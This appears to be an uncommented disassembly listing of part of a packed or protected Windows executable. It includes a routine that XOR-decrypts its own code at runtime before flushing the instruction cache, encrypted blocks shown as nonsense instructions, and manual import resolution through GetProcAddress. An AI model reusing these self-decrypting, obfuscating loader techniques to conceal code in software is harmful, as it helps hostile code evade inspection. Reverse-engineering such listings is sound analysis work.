		mov	[ebp-300h], edx
		mov	eax, [ebp-300h]
		push	eax
		call	sub_4D83DD
		add	esp, 4


loc_4D4455:				; CODE XREF: sub_4D4427+14j
		cmp	dword ptr [ebp-20h], 0
		jz	short locret_4D4473
		mov	ecx, [ebp-20h]
		mov	[ebp-304h], ecx
		mov	edx, [ebp-304h]
		push	edx
		call	sub_4D83DD
		add	esp, 4

locret_4D4473:				; CODE XREF: sub_4D4427+32j
		retn
sub_4D4427	endp

; ---------------------------------------------------------------------------


loc_4D4474:				; CODE XREF: _4:004D4425j
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D4490	proc near		; CODE XREF: sub_4D2DD0+623p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004D46B5 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE430
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFB8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1C], 0
		mov	[ebp+var_4], 0
		mov	eax, ds:dword_4E1908
		mov	dword ptr [eax+0Ch], 0
		mov	ecx, ds:dword_4E1908
		mov	edx, [ecx+4]
		shl	edx, 4
		push	edx
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_40], eax
		mov	eax, [ebp+var_40]
		mov	[ebp+var_1C], eax


loc_4D44EB:				; CODE XREF: sub_4D4490+1E7j
		mov	[ebp+var_34], 0
		mov	[ebp+var_28], 0
		mov	[ebp+var_30], 0
		mov	ecx, ds:dword_4E1908
		mov	edx, [ecx]
		mov	[ebp+var_20], edx
		jmp	short loc_4D4516
; ---------------------------------------------------------------------------


loc_4D450D:				; CODE XREF: sub_4D4490+9Ej
					; sub_4D4490+132j ...
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+10h]
		mov	[ebp+var_20], ecx


loc_4D4516:				; CODE XREF: sub_4D4490+7Bj
		cmp	[ebp+var_20], 0
		jz	loc_4D45F9
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_20]
		mov	ecx, [edx+14h]
		cmp	ecx, [eax+18h]
		jnz	short loc_4D4530
		jmp	short loc_4D450D
; ---------------------------------------------------------------------------


loc_4D4530:				; CODE XREF: sub_4D4490+9Cj
		cmp	[ebp+var_30], 0
		jz	loc_4D45D2
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		shl	eax, 4
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+4]
		add	edx, eax
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_30]
		mov	[ebp+var_48], eax
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx]
		mov	[ebp+var_4C], edx


loc_4D455C:				; CODE XREF: sub_4D4490+FEj
		mov	eax, [ebp+var_4C]
		mov	cl, [eax]
		mov	[ebp+var_4D], cl
		mov	edx, [ebp+var_48]
		cmp	cl, [edx]
		jnz	short loc_4D4599
		cmp	[ebp+var_4D], 0
		jz	short loc_4D4590
		mov	eax, [ebp+var_4C]
		mov	cl, [eax+1]
		mov	[ebp+var_4E], cl
		mov	edx, [ebp+var_48]
		cmp	cl, [edx+1]
		jnz	short loc_4D4599
		add	[ebp+var_4C], 2
		add	[ebp+var_48], 2
		cmp	[ebp+var_4E], 0
		jnz	short loc_4D455C


loc_4D4590:				; CODE XREF: sub_4D4490+DFj
		mov	[ebp+var_54], 0
		jmp	short loc_4D45A1
; ---------------------------------------------------------------------------


loc_4D4599:				; CODE XREF: sub_4D4490+D9j
					; sub_4D4490+F0j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_54], eax


loc_4D45A1:				; CODE XREF: sub_4D4490+107j
		mov	ecx, [ebp+var_54]
		mov	[ebp+var_58], ecx
		mov	edx, [ebp+var_58]
		mov	[ebp+var_3C], edx
		cmp	[ebp+var_3C], 0
		jnz	short loc_4D45C7
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+var_20]
		mov	[edx+14h], ecx
		jmp	loc_4D450D
; ---------------------------------------------------------------------------


loc_4D45C7:				; CODE XREF: sub_4D4490+121j
		cmp	[ebp+var_3C], 0
		jle	short loc_4D45D2
		jmp	loc_4D450D
; ---------------------------------------------------------------------------


loc_4D45D2:				; CODE XREF: sub_4D4490+A4j
					; sub_4D4490+13Bj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		mov	edx, [ecx+14h]
		shl	edx, 4
		mov	eax, [ebp+var_28]
		mov	ecx, [eax+4]
		add	ecx, edx
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_34]
		mov	eax, [edx]
		mov	[ebp+var_30], eax
		jmp	loc_4D450D
; ---------------------------------------------------------------------------


loc_4D45F9:				; CODE XREF: sub_4D4490+8Aj
		cmp	[ebp+var_30], 0
		jnz	short loc_4D4601
		jmp	short loc_4D467C
; ---------------------------------------------------------------------------


loc_4D4601:				; CODE XREF: sub_4D4490+16Dj
		mov	ecx, ds:dword_4E1908
		mov	edx, [ecx+0Ch]
		shl	edx, 4
		mov	eax, [ebp+var_1C]
		add	eax, edx
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+var_34]
		mov	[ecx], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_28]
		mov	[eax+0Ch], ecx
		mov	edx, [ebp+var_24]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_34]
		sub	ecx, [eax+4]
		sar	ecx, 4
		mov	edx, [ebp+var_28]
		mov	eax, [edx+8]
		mov	edx, [ebp+var_24]
		mov	eax, [eax+ecx*4]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		mov	[ebp+var_2C], edx
		mov	eax, ds:dword_4E1908
		mov	ecx, [eax+0Ch]
		add	ecx, 1
		mov	edx, ds:dword_4E1908
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_28]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+var_28]
		mov	[edx+14h], ecx
		jmp	loc_4D44EB
; ---------------------------------------------------------------------------


loc_4D467C:				; CODE XREF: sub_4D4490+16Fj
		mov	eax, ds:dword_4E1908
		mov	ecx, [ebp+var_1C]
		mov	[eax+8], ecx
		mov	[ebp+var_1C], 0
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D469C
		jmp	short loc_4D46B5
sub_4D4490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D469C	proc near		; CODE XREF: sub_4D4490+205p
					; DATA XREF: _5:004DE438o
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_4D46B4
		mov	edx, [ebp-1Ch]
		mov	[ebp-44h], edx
		mov	eax, [ebp-44h]
		push	eax
		call	sub_4D83DD
		add	esp, 4

locret_4D46B4:				; CODE XREF: sub_4D469C+4j
		retn
sub_4D469C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D4490


loc_4D46B5:				; CODE XREF: sub_4D4490+20Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4D4490
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D46D0	proc near		; CODE XREF: sub_4DA0C8+77p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004D47AE SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE440
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_4E18E8
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_4D4714
		mov	ecx, [ebp+var_24]
		add	ecx, 10h
		push	ecx
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	byte ptr [ebp+var_28], 1
		jmp	short loc_4D4718
; ---------------------------------------------------------------------------


loc_4D4714:				; CODE XREF: sub_4D46D0+2Fj
		mov	byte ptr [ebp+var_28], 0


loc_4D4718:				; CODE XREF: sub_4D46D0+42j
		mov	edx, [ebp+var_28]
		and	edx, 0FFh
		test	edx, edx
		jz	loc_4D47AE
		mov	[ebp+var_4], 0
		cmp	ds:dword_4E18E8, 0
		jz	short loc_4D4783
		mov	ecx, ds:dword_4E18E8
		call	sub_4DBA67


loc_4D4744:				; CODE XREF: sub_4D46D0:loc_4D4781j
		lea	eax, [ebp+var_1C]
		push	eax
		lea	ecx, [ebp+var_20]
		push	ecx
		mov	ecx, ds:dword_4E18E8
		call	sub_4DBA7E
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4D4783
		mov	edx, [ebp+var_1C]
		cmp	dword ptr [edx], 0
		jnz	short loc_4D4781
		mov	eax, [ebp+var_20]
		mov	ecx, [eax]
		push	ecx
		call	ds:dword_4E17EC	; RemoveFontResourceA
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+4]
		push	eax
		call	ds:dword_4E16C0	; DeleteFileA


loc_4D4781:				; CODE XREF: sub_4D46D0+96j
		jmp	short loc_4D4744
; ---------------------------------------------------------------------------


loc_4D4783:				; CODE XREF: sub_4D46D0+67j
					; sub_4D46D0+8Ej
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D4791
		jmp	short loc_4D47AE
sub_4D46D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D4791	proc near		; CODE XREF: sub_4D46D0+BAp
					; DATA XREF: _5:004DE448o
		mov	ecx, ds:dword_4E18E8
		mov	[ebp-2Ch], ecx
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_4D47AD
		mov	edx, [ebp-2Ch]
		add	edx, 10h
		push	edx
		call	ds:dword_4DE018	; RtlLeaveCriticalSection

locret_4D47AD:				; CODE XREF: sub_4D4791+Dj
		retn
sub_4D4791	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D46D0


loc_4D47AE:				; CODE XREF: sub_4D46D0+53j
					; sub_4D46D0+BFj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4D46D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D47BF	proc near		; CODE XREF: sub_4D489D+Cp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004D488E SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE450
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_34], edx
		mov	[ebp+var_30], ecx
		mov	eax, offset dword_4CD720
		push	dword ptr [eax+4]
		call	ds:dword_4E16C4	; RtlEnterCriticalSection
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_30]
		mov	eax, [eax]
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_30]
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_2C]
		sub	ecx, eax
		mov	[ebp+var_1C], ecx
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	ecx, [ebp+var_2C]
		add	ecx, eax
		mov	[ebp+var_28], ecx
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_20], eax
		jmp	short loc_4D483A
; ---------------------------------------------------------------------------


loc_4D4833:				; CODE XREF: sub_4D47BF+9Dj
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax


loc_4D483A:				; CODE XREF: sub_4D47BF+72j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_28]
		jz	short loc_4D485E
		mov	eax, [ebp+var_1C]
		imul	eax, 19660Dh
		add	eax, 3C6EF35Fh
		mov	ecx, [ebp+var_1C]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+var_1C]
		mov	[eax], cl
		jmp	short loc_4D4833
; ---------------------------------------------------------------------------


loc_4D485E:				; CODE XREF: sub_4D47BF+81j
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_20]
		push	eax
		push	[ebp+var_20]
		push	ds:dword_4E168C
		call	ds:dword_4E1670	; FlushInstructionCache
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D487F
		jmp	short loc_4D488E
sub_4D47BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D487F	proc near		; CODE XREF: sub_4D47BF+B9p
					; DATA XREF: _5:004DE458o
		mov	eax, offset dword_4CD720
		push	dword ptr [eax+4]
		call	ds:dword_4E1754	; RtlLeaveCriticalSection
		retn
sub_4D487F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D47BF


loc_4D488E:				; CODE XREF: sub_4D47BF+BEj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_4D47BF

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D489D	proc near		; CODE XREF: sub_4CDB7Ej

arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		pusha
		xor	edx, edx
		lea	ecx, [ebp+arg_0]
		call	sub_4D47BF
		popa
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_4D489D	endp

; ---------------------------------------------------------------------------


loc_4D48B6:				; CODE XREF: _4:004CDB83j _4:004CDB88j
		mov	ecx, 0EF000008h
		call	sub_4D8342


loc_4D48C0:				; CODE XREF: sub_4D4DC0+12Ap
		push	ebp
		mov	ebp, esp
		sub	esp, 0F8h
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 0
		jz	loc_4D498A
		push	300000h
		call	sub_4CDB7E
		das
		pop	esp
		jmp	far ptr	0ACF4h:78C07626h
; ---------------------------------------------------------------------------
		db 79h,	51h, 0C5h
		dd 0D3767C0Eh, 9A3C1583h, 61222F3Ch, 569A14B2h,	51ACF93Bh
		dd 795DE1D6h, 8AC55F6Ch, 6E1F4C7h, 0DDEA9A95h, 847AACBFh
		dd 6408A2E6h, 0F0A72036h, 0DEAD53CBh, 0D9318176h, 7A25BFCCh
		dd 66815367h, 3D4A3AD5h, 24DA4C5Fh, 0C468C286h,	0A179C1BCh
		dd 52068794h, 4B34FCBFh, 5121FE3h, 0D1F96FEFh, 627220C4h
		dd 0B1617C44h, 5A424F31h, 7B38D747h, 0B9CB6DC2h, 99A668AAh
		dd 1F06D28Ch, 313E4B8Bh, 3278658Bh, 0DED6E3F0h,	95A2B3C9h
		dd 9E91AF1Fh, 433950ABh, 90901320h, 0C985C933h
		db 75h,	0EEh
; ---------------------------------------------------------------------------


loc_4D498A:				; CODE XREF: _4:004D48D0j
		cmp	dword ptr [ebp+8], 0
		jz	loc_4D4A9D
		mov	dword ptr [ebp-0E4h], 0
		push	5F0000h
		call	sub_4CDB7E
		ja	short loc_4D4A0E
		xor	bl, ah
		sahf
		cli
		inc	eax
		lodsb
		les	ebx, [ecx]	; CODE XREF: _4:004D49B2j
		jns	short near ptr loc_4D49B0+1
		into
		test	[esi+5C4DBBE2h], bl
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------
		adc	al, 7
		cli
		cdq
		mov	cl, [esi+eax*8]
		mov	ecx, 0F36FEBACh
		add	cl, [esi+ebx*2+58434451h]
		retn	310h
; ---------------------------------------------------------------------------
		dw 9DF6h
		dd 0DFB43472h, 818E9B43h, 4DB11D00h, 0E893340h,	1A0D3981h
		dd 0C745F0A4h, 7D8A64DEh, 0BA241770h, 63222F3Ch, 0E1EE187Ah
		dd 521A50D4h, 0F1916C2Ch, 2A525F02h, 6B33E757h
		db 29h
byte_4D4A0D	db 7Dh			; CODE XREF: _4:004D4A36j
; ---------------------------------------------------------------------------


loc_4D4A0E:				; CODE XREF: _4:004D49A8j
		sti
		test	eax, 0A9B628A2h
		pushf


loc_4D4A15:				; CODE XREF: _4:004D4A20j
		sti
		enter	68AAh, 5Bh
		dec	esi
		cmp	eax, 4F6ED00Dh
		jecxz	short loc_4D4A15
		out	0D9h, al
		mov	eax, 65B38C81h


loc_4D4A29:				; CODE XREF: _4:004D4A49j
		xchg	esp, ds:0C1542B53h[eax]
		cmp	al, 78h
		bound	edi, [ebx+1Bh]
		out	dx, eax
		loop	near ptr byte_4D4A0D
		mov	esi, 94A141C9h
		xchg	ecx, [esi]
		pop	es
		mov	edx, [ebx+46h]
		cmp	[ecx-7199795h],	eax
		jmp	short loc_4D4A29
; ---------------------------------------------------------------------------
		db 7Eh
		dd 9D45C5B6h, 1DD88390h, 35429036h, 6A19B628h, 0B1251884h
		dd 0A6DC5CFBh, 76E58A07h, 26C1FAACh, 2F5D25Ch, 36296F67h
		dd 0FB59B843h, 90907B88h, 0C085C033h, 8D8BEE75h, 0FFFFFF1Ch
		dd 0FF088D89h, 958BFFFFh, 0FFFFFF08h, 3943E852h, 0C4830000h
		db 4
; ---------------------------------------------------------------------------


loc_4D4A9D:				; CODE XREF: _4:004D498Ej
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D4AB0	proc near		; CODE XREF: sub_4D4D70+29p
					; sub_4D4DC0+234p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3A		= byte ptr -3Ah
var_39		= byte ptr -39h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], 0
		jmp	short loc_4D4ACC
; ---------------------------------------------------------------------------


loc_4D4AC3:				; CODE XREF: sub_4D4AB0+106j
					; sub_4D4AB0+2A8j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_4D4ACC:				; CODE XREF: sub_4D4AB0+11j
		mov	ecx, [ebp+var_8]
		imul	ecx, 14h
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+ecx+0Ch], 0
		jnz	short loc_4D4AE1
		jmp	loc_4D4D5D
; ---------------------------------------------------------------------------


loc_4D4AE1:				; CODE XREF: sub_4D4AB0+2Aj
		mov	eax, [ebp+var_8]
		imul	eax, 14h
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		add	edx, [ecx+eax]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		imul	eax, 14h
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		add	edx, [ecx+eax+10h]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		cmp	ecx, [eax+34h]
		jnz	short loc_4D4B19
		mov	edx, [ebp+var_20]
		mov	[ebp+var_C], edx
		jmp	short loc_4D4B27
; ---------------------------------------------------------------------------


loc_4D4B19:				; CODE XREF: sub_4D4AB0+5Fj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_4D4B27
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_C], ecx


loc_4D4B27:				; CODE XREF: sub_4D4AB0+67j
					; sub_4D4AB0+6Fj
		mov	[ebp+var_14], 0
		mov	edx, [ebp+var_8]
		imul	edx, 14h
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		add	ecx, [eax+edx+0Ch]
		mov	[ebp+var_24], ecx
		cmp	[ebp+arg_14], 0
		jz	short loc_4D4B5A
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		call	sub_4D575D
		add	esp, 8
		mov	[ebp+var_14], eax


loc_4D4B5A:				; CODE XREF: sub_4D4AB0+95j
		cmp	[ebp+var_14], 0
		jnz	short loc_4D4B6C
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_4DAF8C
		mov	[ebp+var_14], eax


loc_4D4B6C:				; CODE XREF: sub_4D4AB0+AEj
		mov	edx, [ebp+var_8]
		imul	edx, 14h
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		cmp	dword ptr [eax+edx+4], 0FFFFFFFEh
		setnz	cl
		mov	byte ptr [ebp+var_1C], cl
		mov	edx, [ebp+var_8]
		imul	edx, 14h
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+edx+4], 0
		jnz	short loc_4D4B9F
		mov	ecx, [ebp+var_1C]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_4D4BDD


loc_4D4B9F:				; CODE XREF: sub_4D4AB0+E0j
		mov	edx, [ebp+arg_10]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_4D4BBD
		cmp	[ebp+var_14], 0
		jnz	short loc_4D4BBB
		mov	[ebp+var_4], 0
		jmp	loc_4D4AC3
; ---------------------------------------------------------------------------


loc_4D4BBB:				; CODE XREF: sub_4D4AB0+100j
		jmp	short loc_4D4BDD
; ---------------------------------------------------------------------------


loc_4D4BBD:				; CODE XREF: sub_4D4AB0+FAj
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_4DAE83
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4D4BDD
		mov	ecx, [ebp+var_24]
		push	ecx
		push	offset aTheDynamicLink ; "The dynamic link library '%s' could not"...
		call	sub_4D84F7


loc_4D4BDD:				; CODE XREF: sub_4D4AB0+EDj
					; sub_4D4AB0:loc_4D4BBBj ...
		mov	edx, ds:off_4E0BE8
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_C]
		mov	ds:off_4E0BE8, eax
		push	0
		call	ds:dword_4E1718	; GetModuleHandleA
		cmp	eax, [ebp+arg_4]
		jnz	short loc_4D4C62
		mov	[ebp+var_34], offset aExecutable ; "EXECUTABLE"
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_38], ecx


loc_4D4C08:				; CODE XREF: sub_4D4AB0+18Aj
		mov	edx, [ebp+var_38]
		mov	al, [edx]
		mov	[ebp+var_39], al
		mov	ecx, [ebp+var_34]
		cmp	al, [ecx]
		jnz	short loc_4D4C45
		cmp	[ebp+var_39], 0
		jz	short loc_4D4C3C
		mov	edx, [ebp+var_38]
		mov	al, [edx+1]
		mov	[ebp+var_3A], al
		mov	ecx, [ebp+var_34]
		cmp	al, [ecx+1]
		jnz	short loc_4D4C45
		add	[ebp+var_38], 2
		add	[ebp+var_34], 2
		cmp	[ebp+var_3A], 0
		jnz	short loc_4D4C08


loc_4D4C3C:				; CODE XREF: sub_4D4AB0+16Bj
		mov	[ebp+var_40], 0
		jmp	short loc_4D4C4D
; ---------------------------------------------------------------------------


loc_4D4C45:				; CODE XREF: sub_4D4AB0+165j
					; sub_4D4AB0+17Cj
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh
		mov	[ebp+var_40], edx


loc_4D4C4D:				; CODE XREF: sub_4D4AB0+193j
		mov	eax, [ebp+var_40]
		mov	[ebp+var_44], eax
		cmp	[ebp+var_44], 0
		jz	short loc_4D4C62
		mov	[ebp+var_48], 0
		jmp	short loc_4D4C69
; ---------------------------------------------------------------------------


loc_4D4C62:				; CODE XREF: sub_4D4AB0+149j
					; sub_4D4AB0+1A7j
		mov	[ebp+var_48], 1


loc_4D4C69:				; CODE XREF: sub_4D4AB0+1B0j
		mov	cl, byte ptr [ebp+var_48]
		mov	byte ptr [ebp+var_10], cl
		jmp	short loc_4D4C83
; ---------------------------------------------------------------------------


loc_4D4C71:				; CODE XREF: sub_4D4AB0:loc_4D4D3Aj
		mov	edx, [ebp+var_20]
		add	edx, 4
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_C]
		add	eax, 4
		mov	[ebp+var_C], eax


loc_4D4C83:				; CODE XREF: sub_4D4AB0+1BFj
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx], 0
		jz	loc_4D4D3F
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx], 0
		jz	loc_4D4D3F
		mov	eax, [ebp+var_8]
		imul	eax, 14h
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax+4], 0
		jnz	short loc_4D4CB8
		mov	edx, [ebp+var_1C]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_4D4D16


loc_4D4CB8:				; CODE XREF: sub_4D4AB0+1F9j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		and	ecx, 80000000h
		test	ecx, ecx
		jnz	short loc_4D4CEA
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_4]
		add	eax, [edx]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		add	ecx, 2
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	ds:dword_4E1728	; GetProcAddress
		mov	ecx, [ebp+var_20]
		mov	[ecx], eax
		jmp	short loc_4D4D16
; ---------------------------------------------------------------------------


loc_4D4CEA:				; CODE XREF: sub_4D4AB0+215j
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		and	eax, 0FFFFh
		mov	[ebp+var_30], eax
		mov	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	ds:dword_4E1728	; GetProcAddress
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_4D4D16
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_2C]
		mov	[eax], ecx


loc_4D4D16:				; CODE XREF: sub_4D4AB0+206j
					; sub_4D4AB0+238j ...
		mov	edx, [ebp+var_10]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_4D4D3A
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, ds:off_4E0BE8
		push	ecx
		mov	edx, [ebp+var_20]
		push	edx
		call	sub_4D53D0
		add	esp, 0Ch


loc_4D4D3A:				; CODE XREF: sub_4D4AB0+271j
		jmp	loc_4D4C71
; ---------------------------------------------------------------------------


loc_4D4D3F:				; CODE XREF: sub_4D4AB0+1D9j
					; sub_4D4AB0+1E5j
		mov	eax, [ebp+var_18]
		mov	ds:off_4E0BE8, eax
		mov	ecx, [ebp+var_8]
		imul	ecx, 14h
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx+4], 0FFFFFFFEh
		jmp	loc_4D4AC3
; ---------------------------------------------------------------------------


loc_4D4D5D:				; CODE XREF: sub_4D4AB0+2Cj
		mov	al, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4D4AB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D4D70	proc near		; CODE XREF: sub_4D5BD7+1B8p
					; sub_4D614D+45p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_4E1914
		add	eax, 1
		mov	ds:dword_4E1914, eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	dl, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4D4AB0
		add	esp, 18h
		mov	[ebp+var_4], al
		mov	ecx, ds:dword_4E1914
